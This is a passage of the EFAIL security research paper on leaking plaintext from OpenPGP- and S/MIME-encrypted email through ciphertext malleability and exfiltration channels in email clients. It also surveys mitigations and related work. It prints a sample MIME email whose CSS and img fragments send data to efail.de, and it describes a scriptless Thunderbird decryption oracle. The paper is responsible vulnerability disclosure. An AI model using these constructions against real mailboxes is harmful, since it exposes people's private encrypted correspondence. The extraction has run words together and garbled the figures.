A simplified attack is shown in Figure 7 and canbe performed as follows. Using our crypto gadget wefirst create three ciphertext block pairs (Ci,Ci+1) whichdecrypt into useful text fragments (Pc0,Pc1,Pc2). Thefirst text fragment represents an OpenPGP packet struc-ture which encodes a CD packet (which is encoded as0xaf in OpenPGP) containing a LD packet (encoded as0xa3). The latter two text fragments contain an exfiltra-tion channel, for example, <img src="efail.de/.We concatenate the ciphertext blocks into (C1, . . .C8) sothat they decrypt into our three text fragments and thetarget compressed plaintext block. Note that due to thenature of CFB every second block will contain randomgarbage. All blocks are placed into an uncompressedsegment. For the compressed segment we use a cipher-text which decrypts into a deflate segment containingbackreferences. The backreferences (B1 . . .B4) refer-ence fragments from the uncompressed segment. Oncethe victim decrypts and decompresses the email, the fi-nal text will result into a concatenation of text fragments

9

Confid

entia

l, do n

ot pu

blish

!

compressed plaintext

<img

exfiltrationfragment Pc1

src=“efail.de/

exfiltrationfragment Pc2

random plaintext

af 02 78 9c ... a3 ...

OpenPGP structurefragment Pc0

(a)

<img src=“efail.de/ ? ? ? ? ? ? ? ?af 02 78 9c ... a3 ... ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? …B1 B2 B3 B4

(d)(e) af 02 78 9c ... a3 ... <img src=“efail.de/

…B1 B2 B3 B4

backreferences

Uncompressed segmentwith fragments

Compressed segmentwith backreferences

Compressed packet

random plaintext random plaintext

(b) (c)

Figure 7: Description of the internals of our attack on OpenPGP. Our goal is to leak the decrypted compressed plaintext(a). We exploit the CFB mode to construct correct OpenPGP structure with exfiltration fragments (b) and a segmentcontaining backreferences (c). We then order these fragments using CFB (d). The resulting decompression step withbackreferences concatenates these fragments in a way that the compressed plaintext is finally leaked to efail.de(e). All operations are performed on encrypted data.

Pc0,Pc1,Pc2, and the compressed segment. Finally, thecompressed data is leaked to efail.de.

For more details on the exact packets and their struc-ture used in this attack we refer to Appendix A.

Note that the deflate structure gives us one advantageover attacking uncompressed data as described in our at-tacks on S/MIME. By using backreferences we can selectarbitrary text fragments. This means we can even skiprandom plaintext garbage blocks which result from ourCFB ciphertext modifications, and omit potential fail-ures by parsing the garbage data in email clients. Theemail client will not process decrypted data located di-rectly in the uncompressed segments if they are hiddenin OpenPGP experimental packets.

5.4 Towards Practical ExploitationFor the practical exploit described in subsection 5.3 aknown plaintext block of at least 10 bytes is necessary.Unfortunately the attacker only knows the first 4 bytes ofthe header of the compressed data such as the compres-sion algorithm. Therefore, a technique to determine themissing bytes of the plaintext block is required.

In the following paragraphs we will describe how thischallenge can be overcome and how to learn 10 bytes ofplaintext in Enigmail and Thunderbird. We believe simi-lar techniques can be used against other email clients.Conditional scriptless exfiltration in Thunderbird.We discovered a bug in Thunderbird that allows us tosend requests only if a given ciphertext can be success-fully decrypted. We achieved this by creating a script-less, CSS-based exploit, see Figure 8. Our exploit usesan email with a table which contains the decryption out-put (b). The table cell is empty when decryption failed.Making the table scale with the size of its contents re-sults in it being wider if decryption was successful. Thisin turn can be used to change the size of an iframe in asecond row of the table (a). Since iframes allow @media

screen attributes we can load a different remotely locatedbackground image for the iframe depending on its size.Meaning different image files will be accessed depend-ing on successful decryption. This amounts to condi-tional scriptless exfiltration. No scripting is required, theinterpretation of CSS is sufficient. As a result, we can re-motely determine if a ciphertext was decrypted success-fully. We will describe how to construct useful cipher-texts in the next section.

Content-Type: multipart/mixed; boundary=”***”--***Content-Type: text/html<table style="width: 40px">

<tr><td><iframe style="width: 100%;" srcdoc="<style>@media screen and (min-width: 40px)

</td></tr>

{body {background-image: url(’http://efail.de’);}}</style>"></iframe>

<tr><td>--***Content-Type: application/pgp-encryptedhQEMA07mRQ2/91KDAQf/b3C+N92wyEQBBqCHmco0k1...--***Content-Type: text/html

</td></tr>

</table>--***--

︸︷︷

︸︸

︷︷︸

(a)

(b)

Figure 8: Conditional scriptless exfiltration: the requestto efail.de is made if and only if the PGP block iscorrectly decrypted and a valid plaintext is produced.

To amplify this oracle, multiple email bodies can beput into a single email with every body resulting in oneguess. Our experiments have shown that up to 32 guessescan be made in one email.Building a validation oracle. Now that we have an or-acle telling us if a PGP message was successfully de-crypted, we need to construct special messages to deter-mine individual bytes of plaintext. Our strategy of guess-ing a byte is to construct a PGP LD packet which is validexcept for the byte we want to guess. We show an ex-ample for guessing the first byte (the packet tag field 11),see Figure 9.

10

Confid

entia

l, do n

ot pu

blish

!

Byte: 0 1 2 3 4 5 6 7 8-15

11 25 0 0 0Random block

'\n' 'a' 'a' 'a' 'a'to guess unknown known

Figure 9: Example of a constructed plaintext to guessthe first byte in blocks 1 and 3. It only produces plaintext“aaaa” if the first byte is guessed correctly. Note that wecan guess the first byte in both blocks at once if we usethe same ciphertext block.

We assume that we have a crypto gadget with knownfour bytes. We use it to construct two plaintext blocks.The first block contains bytes (25,0,0,0) starting at po-sition 2. Number 25 denotes the length of a filenamewhich starts at position 8 and ends with a line feed char-acter “\n”. The second block should decode to a string“aaaa”. This happens if and only if we can correctlyguess the first byte. Then, we can set the first byte of thefirst block to 11 and the packet is interpreted as a literaldata packet.

The other bytes can be guessed in a similar fashion byleveraging other packet types, for example, experimentalpackets (60-63). We will not go into details here.

5.5 Attack challenges and outlook

We have a working proof-of-concept for emails contain-ing up to approximately 1500 Bytes compressed length.This is due to the size of the compressed segment con-taining the backreferences increasing past the size avail-able in our gadgets. We have further ideas to expandthis limitation by utilizing that there is no constraint onthe amount of packets that can be encapsulated into eachother. Therefore it should be possible to use compressionto reduce the size the backreferences take up in the CDPacket.

6 Exfiltration channels in email clients

Backchannels in email clients are known as privacy risks,but there is no comprehensive overview yet. We per-formed an analysis of existing backchannels by system-atically testing 48 clients and give the complete resultsin Appendix E. Note that 13 of the tested clients doeither not support encryption at all or we could not getthe OpenPGP or S/MIME modules to work and there-fore could not test whether backchannels can be used forexfiltration. This distinction is important because someemail clients behave differently for encrypted and unen-crypted messages. For example, HTML content that canbe used to load external images in unencrypted mails isusually not interpreted for deprecated PGP/INLINE mes-

sages. On the other hand, for three clients we were ableto bypass remote content blocking simply by encryptingthe HTML email containing the bypasses.

Table 3 shows the 35 remaining clients. An attackercan exploit 25 S/MIME email clients out of which eightrequire either a MitM attacker or user interaction likeclicking on a link or explicitly allowing external images.17 S/MIME clients allow off-path exfiltration channelswith no user interaction.

From the 35 email clients, 28 support OpenPGP and10 allow off-path exfiltration channels with no user inter-action. Five clients allow SEIP ciphertexts with strippedMDC and ignore wrong MDCs if they exist. Six clientssupport SE ciphertexts, which allow no integrity protec-tion at all. Three clients – which show OpenPGP mes-sages as plain text only – are secure against automatedbackchannels, but are still vulnerable to backchannelsthat require more complex user interaction.

6.1 Web content in email clients

HTML. The most prominent form of HTML content areimages. Of the tested 48 email clients, 13 load externalimages by default. For ten of them, this can be turnedoff whereas three clients have no option to block remotecontent. All other clients block external images by de-fault or explicitly ask the user before downloading. Weanalyzed all HTML elements that could potentially by-pass the blocking filter and trigger a backchannel us-ing a comprehensive list of HTML4, HTML5 and non-standard HTML elements that allow including URIs.For each element-attribute combination, links were builtusing a variety of well-known11 and unofficial12 URIschemes based on the assumption that http:// linksmay be blacklisted by a mail client while others mightbe allowed. We added specific link/meta tags in theHTML header. In addition, we tested against the vectorsfrom the Email Privacy Tester13 project and the Cure53HTTPLeaks14 repository. This extensive list of test-casesallowed us to bypass external content blocking in 22email clients.

Cascading Stlye Sheets (CSS). Most mail clientsallow CSS declarations to be included in HTMLemails. Based on the CSS2 and CSS3 standardswe assembled an extensive list of properties thatallow included URIs, like background-image:url("http://efail.de"). These allowed by-passing remote content blocking on 11 clients.

JavaScript. We used well-known Cross Site Scripting

11https://www.w3.org/wiki/UriSchemes12https://github.com/Munter/schemes13https://www.emailprivacytester.com/14https://github.com/cure53/HTTPLeaks

11

S/MIME PGP

-MDC +MDC SE

∠ ∠ ∠ √

⊥ √ √ √

⊥ x x x⊥ √ √ √

∠ – – –∠ – – – √ √ √

∠ ∠ ∠ ∠∠ √ ∠ √

∠ – – –

Lin

ux Thunderbird ∠ ∠ ∠ ∠∠ √ √ √

∠ √ √ √

⊥ √ √ √

⊥ √ √ √

⊥ √ √ √

∠ ∠ ∠ ∠∠ √ √ √

∠ ∠ ∠ ∠∠ – – –– √ √ √

– √ √ √

∠ √ ∠ √

∠ √ ∠ √

∠ – – –– √ √ √

– √ √ √

– √ √ √

– √ √ √

∠ – – –– √ √ ∠ √ ∠ ∠– √ √ √

– √ √ √

– √ √ √

∠ Exfiltration channel (off-path) User interaction required⊥ Exfiltration channel (MitM) √ No exfiltration channel– Not supported x Could not install.

Table 3: Exfiltration channels for various email clientsfor S/MIME, PGP SEIP with stripped MDC (-MDC),PGP SEIP with wrong MDC (+MDC), and PGP SEpackets.

test vectors15,16 and placed them in various header fieldslike Subject: as well as in the mail body. We identi-fied five mail clients which are prone to JavaScript exe-cution, allowing the construction of particularly flexiblebackchannels.

6.2 S/MIME specific backchannels

OCSP requests. Mail clients can use the Online Cer-tificate Status Protocol (OCSP) to check the validity ofX.509 certificates that are included in S/MIME signa-tures. OCSP works as follows: the client decrypts the

15https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

16http://html5sec.org

email, parses the certificate and obtains the URL of theOCSP-responder. The client then sends the serial num-ber of the certificate via HTTP POST to the responder.

Using this channel for data exfiltration requires re-placing the URL ciphertext blocks with other cipher-text blocks. In typical scenarios this is complicated bytwo factors: One, the OCSP-responder’s URL is partof a larger base64 encoded data structure. Therefore,an attacker must be careful not to destroy the base64-decoding process by carefully selecting or masking theplaintext. Two, if a valid certificate chain is used,the OCSP-responder’s URL is cryptographically signedwhich makes this backchannel unusable as long as thesignature is properly checked. Eleven clients performedOCSP requests for valid certificates from a trusted CA.

CRL requests. Similar to OCSP, Certificate RevocationLists (CRLs) are used to obtain recent status informationabout a certificate. Unlike OCSP, a CRL is periodicallyrequested and contains a list of multiple serial numbersof revoked certificates. Requesting the list involves anHTTP request to the server holding the CRL and the CRLbackchannel is very similar to the OCSP backchannel.Ten clients performed CRL requests for valid certificatesfrom a trusted CA, one client even connected to an un-trusted, attacker-controlled web server.

Intermediate certificates. S/MIME is built around theconcept of hierarchical trust and requires following a cer-tificate chain back to a trusted root. If the certificateis incomplete and intermediate certificates are missing,the chain can not be verified. To remedy this, a CAmay augment certificates with a URL to the next linkin the chain. A client can query this URL to obtainthe missing certificates. These requests for intermedi-ate certificates can be used as a backchannel. Like thebackchannels via OCSP and CRL requests, this is madedifficult by the base64 encoding. However, the signaturecan only be verified after the intermediate certificate wasobtained. This makes exploitation of this channel mucheasier. Seven clients requested intermediate certificatesfrom an attacker-controlled LDAP and/or web server.

6.3 OpenPGP specific backchannels

An email client receiving a PGP-signed message maytry to automatically download the corresponding publickey. There are various protocols to achieve this, for ex-ample DANE [33], HKP [34] or LDAP [35] [36]. Weobserved one client trying to obtain the public key for agiven key ID. This can potentially be abused by cryptogadgets to leak four bytes of plaintext. We also ap-plied 33 PGP-related email headers that refer to publickeys (e.g. X-PGP-Key: URI), but none of the testedclients performed a request to the given URL, thereforethe issue is only relevant to a MitM attacker.

12

Confid

entia

l, do n

ot pu

blish

!

6.4 External attachments

The message/external-body content type allowsreferences to external resources as MIME parts instead ofdirectly including within the mail. This is a known tech-nique to bypass virus scanners running on a mail gate-way. However, there are various proprietary variants ofthis header, for which one email client automatically per-formed a DNS request for the external attachment’s host-name. It is noteworthy that this was done automatically,the email did not have to be explicitly opened.

7 Mitigations

This section discusses those countermeasures that alsocame up when we disclosed these findings to the devel-opers of affected products. Appendix F gives a more de-tailed discussion on this topic.

Blocking all network requests. Reliably blocking allbackchannels, including those not based on HTML,would prevent the attacks as presented. However, it doesnot fix the underlying vulnerability in the S/MIME andOpenPGP standards. Backchannels are critical, becausethey provide a way to instantly obtain the plaintext of anemail. However, in a broader scenario, an attacker couldalso inject binary attachments or modify already attachedones, such that exfiltration is done later even if no emailclient is involved. Thus, blocking network requests isonly a short-term solution.

Updating the standards. We could observe severalOpenPGP implementations that were not vulnerable toour attacks because they dropped ciphertexts with in-valid MDCs. Unfortunately, the OpenPGP standard isnot clear about handling MDC failures. Furthermore,the standard still supports SE packets which offer nointegrity protection. For S/MIME, the situation is evenworse since there is no integrity protection support at all.

In the long-term, updating the S/MIME and OpenPGPstandards is inevitable to meet modern cryptographicbest practices and introduce authenticated encryption al-gorithms.

8 Related work

This section gives a brief overview on related work. Anextended version is in Appendix C.

In 2000 Katz and Schneier described a chosen-ciphertext attack [37] that blinds an uncompressed ci-phertext, which they send in a spoofed email to the vic-tim. They then hope that the victim replies to the emailwith the blinded ciphertext, that they can then unblind.This attack requires a cooperating victim and does notwork against compressed plaintexts.

In 2001 Davis described “surreptitious forwarding”attacks and their applicability to S/MIME, PKCS#7,MOSS, PEM, PGP, and XML [38] in which an attackercan re-sign or re-encrypt the original email and forwardit onto a third person.

In 2002 Perrin presented a downgrade attack, whichremoves the integrity protection turning a SEIP into a SEdata packet [29]. In 2015, Magazinius showed that thisdowngrade attack is applicable in practice [31].

In 2005 Mister and Zuccherato described an adaptive-chosen-ciphertext attack [30] exploiting OpenPGP’s in-tegrity quick check. The attacker need 215 queries to de-crypt two plaintext bytes per block. The attack requires ahigh number of queries, which makes the attack unprac-tical for email encryption.

Strenzke [28] improved one of Davis’ attacks andnoted that an attacker can strip a signature and re-sign theencrypted email with his private key. He sends the emailto the victim who hopefully responds with an email in-cluding the decrypted ciphertext.

Many attacks abuse CBC’ malleability property to cre-ate chosen-ciphertext attacks [11–13]. Practical attackshave been shown against IPSec [14, 15], SSH [16, 17],TLS [18–21], or XML Encryption [22]. Overall, the at-tacker uses the server as an oracle. This is not possible intypical OpenPGP and S/MIME scenarios, since users areunlikely to open many email without getting suspicious.

In 2005, Fruwirth, the author of the Linux Unified KeySetup (luks), wrote a compendium of attacks and inse-cure properties of CBC [39] in the hard disk encryptioncontext. Later in 2013, Lell presented a practical exploitfor CBC malleability against a Ubuntu 12.04 installationthat is encrypted using luks [40] with CBC. An attackvery similar to Lell’s was described in 2016 in the Own-cloud server side encryption module [41].

In 2017 Cure53 analyzed the security of Enig-mail [42]. The report shows that surreptitious forwardingis still possible and that it is possible to spoof OpenPGPsignatures. No plaintext exfiltration attacks have beenconsidered.

References

[1] The Radicati Group, Inc., “Email statistics report,2017 - 2021,” Feb. 2017.

[2] Wikileaks, “Vp contender sarah palin hacked,”Sept. 2008. https://wikileaks.org/wiki/VP_contender_Sarah_Palin_hacked.

[3] Wikileaks, “Sony email archive,” Apr. 2015.https://wikileaks.org/sony/emails/.

13

Confid

entia

l, do n

ot pu

blish

!

[4] Wikileaks, “Hillary clinton email archive,”Mar. 2016. https://wikileaks.org/clinton-emails/.

[5] Wikileaks, “The podesta emails,” Mar. 2016.https://wikileaks.org/podesta-emails/.

[6] K. Thomas, F. Li, A. Zand, J. Barrett, J. Ranieri,L. Invernizzi, Y. Markov, O. Comanescu, V. Er-anti, A. Moscicki, D. Margolis, V. Paxson, andE. Bursztein, eds., Data breaches, phishing, or mal-ware? Understanding the risks of stolen creden-tials, 2017.

[7] E. Bursztein, B. Benko, D. Margolis, T. Pietraszek,A. Archer, A. Aquino, A. Pitsillidis, and S. Sav-age, “Handcrafted fraud and extortion: Manual ac-count hijacking in the wild,” in IMC ’14 Proceed-ings of the 2014 Conference on Internet Measure-ment Conference, (1600 Amphitheatre Parkway),pp. 347–358, 2014.

[8] M. Green, “What’s the matter withpgp?,” Aug. 2014. https://blog.cryptographyengineering.com/2014/08/13/whats-matter-with-pgp/.

[9] M. Marlinspike, “Gpg and me,” Feb. 2015.https://moxie.org/blog/gpg-and-me/.

[10] F. Valsorda, “I’m throwing in the towel on pgp,and i work in security,” Dec. 2016. https://arstechnica.com/information-technology/2016/12/op-ed-im-giving-up-on-pgp/.

[11] S. Vaudenay, “Security flaws induced by cbcpadding - applications to ssl, ipsec, wtls ..,” inEUROCRYPT (L. R. Knudsen, ed.), vol. 2332 ofLecture Notes in Computer Science, pp. 534–546,Springer, 2002.

[12] K. Paterson and A. Yau, “Padding Oracle Attackson the ISO CBC Mode Encryption Standard,” inTopics in Cryptology – CT-RSA 2004, vol. 2964of Lecture Notes in Computer Science, SpringerBerlin / Heidelberg, Feb. 2004.

[13] C. J. Mitchell, “Error oracle attacks on cbc mode:Is there a future for cbc mode encryption?,” in In-formation Security (J. Zhou, J. Lopez, R. H. Deng,and F. Bao, eds.), (Berlin, Heidelberg), pp. 244–258, Springer Berlin Heidelberg, 2005.

[14] J. P. Degabriele and K. G. Paterson, “Attackingthe IPsec standards in encryption-only configura-tions,” in IEEE Symposium on Security and Pri-vacy, pp. 335–349, IEEE Computer Society, 2007.

[15] J. P. Degabriele and K. G. Paterson, “On the(in)security of IPsec in MAC-then-encrypt con-figurations,” in ACM Conference on Computerand Communications Security (E. Al-Shaer, A. D.Keromytis, and V. Shmatikov, eds.), pp. 493–504,ACM, 2010.

[16] M. R. Albrecht, K. G. Paterson, and G. J. Wat-son, “Plaintext recovery attacks against ssh,” inProceedings of the 2009 30th IEEE Symposium onSecurity and Privacy, SP ’09, (Washington, DC,USA), pp. 16–26, IEEE Computer Society, 2009.

[17] M. R. Albrecht, J. P. Degabriele, T. B. Hansen, andK. G. Paterson, “A surfeit of ssh cipher suites,” inProceedings of the 2016 ACM SIGSAC Conferenceon Computer and Communications Security, CCS’16, (New York, NY, USA), pp. 1480–1491, ACM,2016.

[18] N. J. A. Fardan and K. G. Paterson, “Lucky thir-teen: Breaking the tls and dtls record protocols,”in 2013 IEEE Symposium on Security and Privacy,pp. 526–540, May 2013.

[19] M. R. Albrecht and K. G. Paterson, “Lucky mi-croseconds: A timing attack on amazon’s s2n im-plementation of tls,” in Advances in Cryptology –EUROCRYPT 2016 (M. Fischlin and J.-S. Coron,eds.), (Berlin, Heidelberg), pp. 622–643, SpringerBerlin Heidelberg, 2016.

[20] G. Irazoqui, M. S. Inci, T. Eisenbarth, and B. Sunar,“Lucky 13 strikes back,” in Proceedings of the 10thACM Symposium on Information, Computer andCommunications Security, ASIA CCS ’15, (NewYork, NY, USA), pp. 85–96, ACM, 2015.

[21] J. Somorovsky, “Systematic fuzzing and testingof tls libraries,” in Proceedings of the 2016 ACMSIGSAC Conference on Computer and Communi-cations Security, CCS ’16, (New York, NY, USA),pp. 1492–1504, ACM, 2016.

[22] T. Jager and J. Somorovsky, “How To Break XMLEncryption,” in The 18th ACM Conference on Com-puter and Communications Security (CCS), Oct.2011.

[23] P. Resnick, “Internet message format,” October2008. RFC5322.

14

Confid

entia

l, do n

ot pu

blish

!

[24] N. Freed and N. Borenstein, “Multipurpose internetmail extensions (mime) part one: Format of internetmessage bodies,” November 1996. RFC2045.

[25] B. Ramsdell and S. Turner, “Secure/multipurposeinternet mail extensions (s/mime) version 3.2 mes-sage specification,” January 2010. RFC5751.

[26] R. Housley, “Cryptographic message syntax(cms),” September 2009. RFC5652.

[27] J. Callas, L. Donnerhacke, H. Finney, D. Shaw, andR. Thayer, “Openpgp message format,” November2007. RFC4880.

[28] F. Strenzke, “Improved message takeover at-tacks against s/mime,” Feb. 2016. https://cryptosource.de/posts/smime_mta_improved_en.html.

[29] “Openpgp security analysis,” Sept. 2002. https://www.ietf.org/mail-archive/web/openpgp/current/msg02909.html.

[30] S. Mister and R. Zuccherato, “An attack on cfbmode encryption as used by openpgp.” CryptologyePrint Archive, Report 2005/033, 2005. https://eprint.iacr.org/2005/033.

[31] J. Magazinius, “Openpgp seip downgrade at-tack,” Oct. 2015. http://www.metzdowd.com/pipermail/cryptography/2015-October/026685.html.

[32] P. Deutsch, “Deflate compressed data format speci-fication version 1.3,” May 1996. RFC1951.

[33] P. Wouters, “Dns-based authentication of namedentities (dane) bindings for openpgp,” August 2016.RFC7929.

[34] D. Shaw, “The OpenPGP HTTP Keyserver Pro-tocol (HKP),” Internet-Draft draft-shaw-openpgp-hkp-00, Internet Engineering Task Force, Mar.2003. Work in Progress.

[35] G. Good, “The ldap data interchange format (ldif) -technical specification,” June 2000. RFC2849.

[36] “How to setup an openldap-based pgp key-server.” https://wiki.gnupg.org/LDAPKeyserver.

[37] J. Katz and B. Schneier, “A chosen ciphertext at-tack against several e-mail encryption protocols,” inProceedings of the 9th Conference on USENIX Se-curity Symposium - Volume 9, SSYM’00, (Berke-ley, CA, USA), pp. 18–18, USENIX Association,2000.

[38] D. Davis, “Defective sign & encrypt in s/mime,pkcs#7, moss, pem, pgp, and xml,” in Proceedingsof the General Track: 2001 USENIX Annual Tech-nical Conference, (Berkeley, CA, USA), pp. 65–78,USENIX Association, 2001.

[39] C. Fruhwirth, “New methods in hard disk en-cryption,” July 2005. http://clemens.endorphin.org/nmihde/nmihde-A4-ds.pdf.

[40] J. Lell, “Practical malleability attack against cbc-encrypted luks partitions,” 2013.

[41] H. Bock, “Pwncloud – bad crypto in theowncloud encryption module,” Apr. 2016.https://blog.hboeck.de/archives/880-Pwncloud-bad-crypto-in-the-Owncloud-encryption-module.html.

[42] “Pentest-report enigmail,” Dec. 2017.https://enigmail.net/download/other/Enigmail%20Pentest%20Report%20by%20Cure53%20-%20Excerpt.pdf.

[43] K. Jallad, J. Katz, and B. Schneier, “Implementa-tion of chosen-ciphertext attacks against pgp andgnupg,” in Information Security (A. H. Chan andV. Gligor, eds.), (Berlin, Heidelberg), pp. 90–101,Springer Berlin Heidelberg, 2002.

[44] D. Davis, “Sender authentication and thesurreptitious forwarding attack in cms ands/mime,” Aug. 2001. RFC draft, https://tools.ietf.org/html/draft-ietf-smime-sender-auth-00.

[45] “security fixes (kdf, mdc-¿mac)?,” Sept.2002. https://www.ietf.org/mail-archive/web/openpgp/current/msg02841.html.

[46] R. Housley, “Cryptographic message syntax(cms) authenticated-enveloped-data content type,”November 2007. RFC5083.

[47] “Modernizing the openpgp message format,”2015. https://tools.ietf.org/html/draft-ford-openpgp-format-00.

[48] T. Jager, K. G. Paterson, and J. Somorovsky, “OneBad Apple: Backwards Compatibility Attacks onState-of-the-Art Cryptography,” in Network andDistributed System Security Symposium (NDSS),February 2013.

[49] “Same origin policy,” Jan. 2010. https://www.w3.org/Security/wiki/Same_Origin_Policy.

15

Confid

entia

l, do n

ot pu

blish

!

A Details on attacking OpenPGP

We now give a more detailed explanation on our attacksfrom subsection 5.3. We concentrate on the nested struc-ture of compressed OpenPGP packets. Note that we havecrypto gadgets which can be used to produce useful textfragments (Pc0,Pc1,Pc2, . . .).

Compressed Packet CD1Uncompressed block U1Ignored Packet I1Compressed Packet CD2Uncompressed block U2Literal packet LD1Pc1||r1||Pc2||r2||Pc3|| . . . ||Pcn−1||rn−1

Uncompressed block U3Pcn||rn

Figure 10: First part of the created plaintext. OpenPGPpackets are denoted by a solid line. Uncompressed andcompressed deflate segments are denoted by a dashedline.

We start by opening a new uncompressed segment U1in a compressed data packet CD1 at the start of the mes-sage (see Figure 10). Inside the uncompressed segmentwe start a new experimental packet I1 whose content isignored by common OpenPGP clients (e.g., in practicethis could be an experimental packet with tag 60). Weuse I1 to insert our plaintext fragments. Inside this ig-nored packet we create another compressed data packetCD2 to refer to later. Note that this packet will not beparsed and is not valid at this point. It is merely used tobuild a correct packet later. Inside CD2 we open anotheruncompressed segment U2 that will hold our exfiltrationcode fragments (Pc0,Pc1,Pc2, . . .). As we use crypto gad-gets to create these fragments they will be interleavedwith 16 byte random data gi. The first bytes in the un-compressed segment U2 contain the header structure fora literal data packet LD1. This is because LD1 shouldbe the actual packet output after decryption and decom-pression. We use the fragments Pci later to prepend textto the original email (e.g., <img src="efail.de/).The following segment U3 enables us to append text tothe original email, here: Tn. This could be, for example,a double quote with a closing HTML tag ">.

For now, we have prepared text fragments(Pc0,Pc1,Pc2, . . .) which can be used as email build-ing blocks. In the next step we are going to usebackreferences to construct the complete email andexfiltrate decrypted email plaintext. The constructedplaintext is shown in Figure 11. As multiple backrefer-ences (denoted by←) – one for each text fragment – areneeded and the amount of bytes needed easily exceedsthe 16 Bytes available in a crypto gadget they need to besplit among multiple compressed segments (CSi). Those

Compressed (Fixed Huffman codes) block CS1B1 =← CD2toLD1|| ← Pc1

|| ← Pc2|| . . . || ← Pcm1

Uncompressed Block U4rn+1

Compressed (Fixed Huffman codes) block CS2B2 =← B1|| ← Pcm1+1|| . . . || ← Pcm2

Uncompressed Block U4rn+2...

Compressed (Fixed Huffman codes) block CSkBk−1 =← Bk−2|| . . . || ← Pcn−1

Uncompressed Block UkrkOriginal Mail m

Figure 11: Second part of the created plaintext uses back-references to construct the complete email.

segments are interleaved with uncompressed segments,to hold the random data generated by the use of cryptogadgets that would otherwise break the uncompressedsegments by decrypting to invalid backreferences. Weuse fixed Huffman codes as these do not need a longprefix.

To reassemble CD2 containing the uncompressed seg-ment U2 and therefore the literal data packet L2, we startby referencing these in B1 and appending the first textfragments. By backreferencing to the output of the lastcompressed segment at the beginning of each new com-pressed segment the constructed packet CD2 can be re-assembled. After the segment containing the last textfragment (CSk) of the prefix, the original email m is ap-pended. As the original email is assumed to be com-pressed, it can be inserted here without modification.

Finally, I1 is closed and a new compressed segment isstarted, reassembling CD2 by referencing the output ofBk−1, the original email m and the postfix Pcn. The re-sulting uncompressed email therefor contains the plain-text Pc1||Pc2|| . . . ||Pc(n−1)||m||Pcn. With this procedure itis possible to use the various backchannels by clever con-struction of the text fragments Pc1 to Pcn.

B Ciphertext reordering using ECB

Assume a hypothetical scenario in which the emails of acompany are encrypted using the Electronic Code Book(ECB) mode of operation. In the ECB mode, each ci-phertext block is decrypted as a standalone block with-out any chaining, so we are free to rearrange the cipher-text blocks without influencing any adjacent blocks. Fur-thermore, assume that all employees use the same emailfooter with an external URL loading the company logo(see Figure 12 (a)). Due to the mechanics of ECB, wecan reorder ciphertext blocks. A creative way of reorder-ing the plaintext is shown in Figure 12 (b). If an emailclient requests this image, the plaintext is included in thepath of the URL and unwillingly sent to the server.

16

Confid

entia

l, do n

ot pu

blish

!

Your password: Ohyoo4hu <img src=“e.fail/ logo.gif”/> PAD

Your password: Ohyoo4hu<img src=“e.fail/ logo.gif”/> PAD

(a) original ECB ciphertext block ordering

(b) rearranged ECB Ciphertext block ordering

Figure 12: Ciphertext and decrypted plaintext with un-changed (a) and rearranged ciphertext blocks (b).

Now, neither OpenPGP nor S/MIME support the ECBmode, but similar attacks are possible with CBC andCFB modes.

C Extended related workC.1 Insecure encryption schemes in email

protocolsIn 2000 Katz and Schneier described a chosen-ciphertextattack on email encryption protocols [37]. They pointedout that the malleability of encryption schemes used inPGP and other relevant protocols allows an attacker toperform subtle modifications to the ciphertext, whichwill garble its plaintext in way that the attackers can re-verse. The attacker then sends the blinded message tothe victim, who decrypts and views the email message,which consists of randomly looking data. The victimsuspects a benign transmission error and replies to theattacker together with the cited decrypted message, whocan reverse the modifications and gain the original plain-text. They found that the attack will fail in most caseswhen data is compressed before encryption [43]. Wedo not need any cooperation from the user other thandecrypting and opening the email. A vulnerable emailclient decrypts and interprets its content, which leaks theplaintext. Furthermore, we show that OpenPGP’s plain-text compression does not reliably stop the attack in prac-tical scenarios.

In 2005 Mister and Zuccherato described an adaptive-chosen-ciphertext attack on OpenPGP [30]. This attackexploits the malleability of the CFB encryption mode andOpenPGP’s integrity quick check used in the OpenPGPimplementation. The attacker needs 215 queries to de-crypt two plaintext bytes per block. Mister and Zuccher-ato described several potential attack scenarios. Theycame to the conclusion that because of the high num-ber of queries the attack was very unlikely in non-severbased scenarios.

In 2001 Davis described “surreptitious forwarding”attacks and their applicability to S/MIME, PKCS#7,MOSS, PEM, PGP, and XML [38]. The attacks exploitthe fact that the sender is not authenticated. A maliciousemail receiver can re-sign or re-encrypt the original emailand forward it to a third person. For example, in oneof his scenarios Alice signs and encrypts for Bob. Bobdecrypts the signed email and re-encrypts it for Charlie.

In the end, Charlie believes Alice addressed the emaildirectly to him. He discussed several countermeasuresin his RFC draft [44], which was not finalized. Stren-zke [28] improved one of the S/MIME attacks by Davis.In his attack, the adversary intercepts a signed and en-crypted email sent from Alice to Bob. He cannot decryptthe email, but because of the CBC malleability he canstrip the encrypted signature. Then he can re-sign the en-crypted email with his private key and send it to Bob whowill likely respond with an email including the decryptedciphertext. All these attacks assume that the victim ac-tively responds or forwards the decrypted message.

In 2002 Perrin presented a downgrade attack on SEIPdata packets on the OpenPGP mailing list, which re-moves the integrity protection and turns a SEIP packetinto a SE data packet [29]. He also presented an effec-tive countermeasure which enforced usage of differentsymmetric keys in SE and SEIP packets [45]. The mail-ing list contributors decided that this is not necessary. In2015, Magazinius showed that Perrin’s downgrade attackis applicable in practice [31].

Green criticized the old cryptographic algorithms usedin PGP wrote that “Poking through a modern OpenPGPimplementation is like visiting a museum of 1990scrypto” [8]. He did not point out any concrete attacks.

C.2 Related attacksIt is well-known that the CBC mode of operation is mal-leable and vulnerable to adaptive chosen-ciphertext at-tacks [11–13]. Practical attacks have been shown againstIPSec [14, 15], SSH [16, 17], TLS [18–21], or XML En-cryption [22]. In all these attacks the attacker exploitsdifferences in server responses based on the validity ofthe decrypted messages. He uses the server as an ora-cle and with each oracle response he learns some plain-text information. This is not possible in typical PGP andS/MIME scenarios, since there is no server that can berepeatedly used as an oracle and queried for message va-lidity.

In 2005, Fruwirth, the author of the Linux UnifiedKey Setup (luks), wrote a compendium of attacks andinsecure properties of CBC [39] in the hard disk encryp-tion context. He defines a confidentiality issue in casetwo ciphertext blocks in a CBC ciphertext are identical.Furthermore, he describes a watermarking attack and adata modification leak, in which the attacker can moni-tor over time which parts of the file system are accessed,thus learning usage patterns of the user. He also definestwo properties of CBC, that we used in the efail attacks:malleability and movable cipher blocks. It briefly men-tions the possibility that an attacker with local write ac-cess to the encrypted hard drive could alter /etc/passwdor /etc/shadow.

Later in 2013, Lell presented a practical exploit for

17

Confid

entia

